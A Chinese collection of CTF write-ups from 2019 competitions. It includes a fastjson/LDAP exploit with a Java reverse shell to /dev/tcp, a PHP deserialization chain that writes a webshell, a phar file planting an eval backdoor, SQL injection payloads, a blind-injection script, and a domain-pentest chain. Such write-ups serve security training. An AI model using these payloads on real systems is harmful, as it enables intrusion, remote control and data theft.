List [CTL]
2019上海大学生网络安全邀请赛
PHP
byteCTF boring_code++
curl "http://9f541345e3134764922236b093730b44cf8166f9f5cf4994.changame.ichunqiu.com/code/?code=echo(serialize(file(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))));"
2019红帽杯
ticker_system
上传xml文件 + XXE
构造tp5.2的反序列化pop链,xxe SYSTEM "phar://"
触发
服务器perl反弹shell后执行/flag
,trap bypass交互式验证码即可
easyweb
tp3.2.3 order by报错注入
无报错回显,但可列目录
orderby[updatexml(1,concat(0x25,(select/**/flaag/**/from/**/fl4g)),1)%23]=1
/App/Runtime/Logs/Api/19_11_11.log
看回显
恶臭流量包
802.11流量包,aircrack-ng爆破,密钥为12345678
通过wireshark导入密钥解密流量,搜索HTTP流量,发现一个上传图片。图片中藏了一个加密的压缩包
上传请求的Cookie jwt解密后为hint:for security, I set my password as a website which i just pinged before
,wireshark搜索发现没有icmp包。可以推断域名解析的ip为127.0.0.1,发现一个dnslog.cn的域名,就是压缩包密码
p.s. 没有icmp包是因为走的网卡和访问公网的不同,猜测是loopback;且Windows上wireshark默认不装winpcap是无法抓取loopback流量的
EIS2019高校运维管理赛
ezbypass
https://bugs.php.net/bug.php?id=72530
PHP7 GC disabled_functions bypass
ezjava
CVE复现,多试几个payload,需要ldap协议,jdk版本需要jdk1.8
jd反编译有fastjson1.2.47组件JSON.parse
ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP:8080/#Exploit
Exploit.java
public class Exploit {
public Exploit(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"bash", "-c", "/bin/sh -i >& /dev/tcp/IP/9999 0>&1"});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit()
}
}
发包
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP/Exploit","autoCommit":true}}}
ezpop
可写JSON格式的缓存,文件名可控,内容基本也可控,php://filter
绕过exit即可
<?php
error_reporting(0);
class A
{
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct()
{
if (!$this->autosave) {
$this->save();
}
}
}
class B
{
protected function getExpireTime($expire): int
{
return (int) $expire;
}
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
echo $data;
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
$o = new B();
$o->options = [
"prefix" => "",
"serialize" => "serialize",
"data_compress" => "",
];
$t = new A($o, "php://filter/write=string.strip_tags|convert.base64-decode/resource=uploads/1.php", "x");
$t -> cache = ["path" => ["path"=>"APD89YCRfR0VUW3NdYD8+"]];
$t -> autosave = 0;
echo urlencode(serialize($t));
exit;
$dir = "uploads/";
if (!is_dir($dir)) {
mkdir($dir);
}
unserialize($_GET["data"]);
ezupload
查不到数据dpasswd == NULL
,不POST password参数$_POST[password] == NULL
,三等号即可判断相等
在这儿楞了半天….
Misc2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from flask import request
from flask import Flask
secret = open('/flag', 'rb')
os.remove('/flag')
app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'
@app.route('/')
def index():
return open(__file__).read()
@app.route("/r", methods=['POST'])
def r():
data = request.form["data"]
if os.path.exists(data):
return open(data).read()
return ''
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
可从/proc
读取文件描述符,脚本爆破/proc/self/fd/[i]
就行了
Misc3
蚁剑流量包,openssl_decrypt
解密即可
@base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
>>> b('WW1GaVlXSmhZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaQpZbUlLYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvCmFHaG9hR2dLYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG8KYUdob2FHaG9hR2dLWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbgpaMmRuWjJkbloyZG5aMmNLWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppClltSmlZbUppWW1KaVltSmlZbUlLYm01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXUKYm01dWJtNXVibTV1Ym01dWJtNXVibTRLWm14aFozdEJiblJUZDI5eVpGOXBjMTlRYjNkbGNtWjFiRjh6TWpJeU1qSXlJU0VoSVgwSwpbU10KL3Zhci93d3cvaHRtbC90bXAKW0VdCg==')
b'YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn\nZ2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u\nbm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K\n[S]\n/var/www/html/tmp\n[E]\n'
>>> b('YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn\nZ2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u\nbm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K')
b'babababbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\nhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\nggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\nbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn\nflag{AntSword_is_Powerful_3222222!!!!}\n'
2019-3CTF决赛
体验极佳的比赛,就是时间短了点。赛前熬夜复习了域渗透,结果连域的影子都没摸着 : )
靶场拓扑
入口点是3个Docker中的服务,分别是Tomcat PUT、S2和pma lfi,两台Tomcat可以拿root权限
接着Docker逃逸到宿主机后作跳板。一下午都卡在逃逸了,最后发现挨个尝试mount/dev
下b
标志位的就行了,貌似是/dev/dm-0
。逃逸后可访问宿主机文件系统,写个SSH公钥即可
逃逸后按既定路线利用Redis主从复制getshell HOST2(不说了,倒计时时我的nmap才扫C段20%不到)
Redis主机被加入域了,在/root/.bash_history
找到域用户账号密码,14-068获得HOST3域控权限
然后登录HOST5拿Chrome保存凭据,可获取dedeCMS后台密码,然后可通过dedeCMS或PHPMyStudy后门拿下HOST4
HOST4与HOST6站库分离,可从配置文件拿到HOST6的MSSQL密码,连上后xp_cmdshell,接着juicy-potato提权即通关
2019 C1CTF
TAR
只存了一个挺有意思的题
<?php
$filename = $_FILES['file']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
header("Content-Type: application/json");
$highlighted = array();
switch ($ext) {
case "php":
array_push($highlighted, ["filename" => htmlspecialchars($filename), "content" => highlight_file($_FILES['file']['tmp_name'], true)]);
echo json_encode(['code' => 200, 'payload' => $highlighted]);
break;
case "gz":
case "tar":
$random = "file_" . bin2hex(openssl_random_pseudo_bytes(16));
$tmp_filename = "uploads_compress/" . $random . ".tar.gz";
$extracted_dir = "uploads_extract/" . $random;
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_filename);
$file = new PharData($tmp_filename);
mkdir($extracted_dir);
try {
$file->extractTo($extracted_dir);
$extracted_files = scandir($extracted_dir);
foreach ($extracted_files as $filename) {
if (substr($filename, -4) == '.php') {
array_push($highlighted, ["filename" => htmlspecialchars($filename), "content" => highlight_file($extracted_dir . "/" . $filename, true)]);
}
}
echo json_encode(['code' => 200, 'payload' => $highlighted]);
} catch (Exception $e) {
$msg = $e->getMessage();
header("Content-Type: application/json");
echo json_encode(['code' => 500, 'payload' => $msg]);
}
break;
default:
echo json_encode(['code' => 500, 'payload' => "不支持的拓展名"]);
break;
}
利用tar报错获取路径信息(好像是个CVE,快一个月记不清了)
<?php
$p = new PharData(dirname(__FILE__).'/1.tar', 0, 'phartest', Phar::ZIP);
$p->addFromString('../1.php', '<?php phpinfo();eval($_REQUEST[s]);?>');
印象里还有一道Pickle题,用我的工具直接秒,star暗示:https://github.com/eddieivan01/pker
2019 SWPUCTF
easy web
二次注入,时间盲注的,不过报错也可以
import requests
import re
add = 'http://211.159.177.185:23456/addads.php'
index = 'http://211.159.177.185:23456/index.php'
empty = 'http://211.159.177.185:23456/empty.php'
login = 'http://211.159.177.185:23456/login.php'
regexp = re.compile(r'(detail\.php\?id\=[0-9]+)\'\>')
s = requests.Session()
s.post(login, data={
'username': 'iiiiii',
'password': 'iiiiii',
'ac': 'login',
})
def inject():
# f8ae51b4f44b623f665539af7d2b83f9
# swpuctf{Simple_Double_Injectin}
flag = ''
for i in range(32, 50):
#for w in 'abcdefghijklmnopqrstuvwxyz012345678,':
for w in ',0123456789abcdef':
sql = "select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'"
sql = "select/**/group_concat(passwd)/**/from(select/**/1,2,3/**/as/**/passwd/**/union/**/select/**/*/**/from/**/users)as/**/a"
payload = f"'-if(mid(({sql}),{i},1)='{w}',sleep(5),0)-'",
r = s.post(add, data={
'title': payload,
'content': 'a',
'ac': 'add',
})
r = s.get(index)
#print(r.text)
url = regexp.findall(r.text)[0]
try:
s.get('http://211.159.177.185:23456/'+url, timeout=5)
except:
flag += w
break
finally:
s.get(empty)
print(flag)
inject()
python简单题
爆一下redis弱密码是password
连上后修改session反序列化即可
easy_python
zz脑洞,官方题解说前端源码里404 not found是提示,然后404路由会在响应头返回secret key的b64
我只想说,没有正常人的逻辑能力就请别出题了
看题时只放了这三道,溜了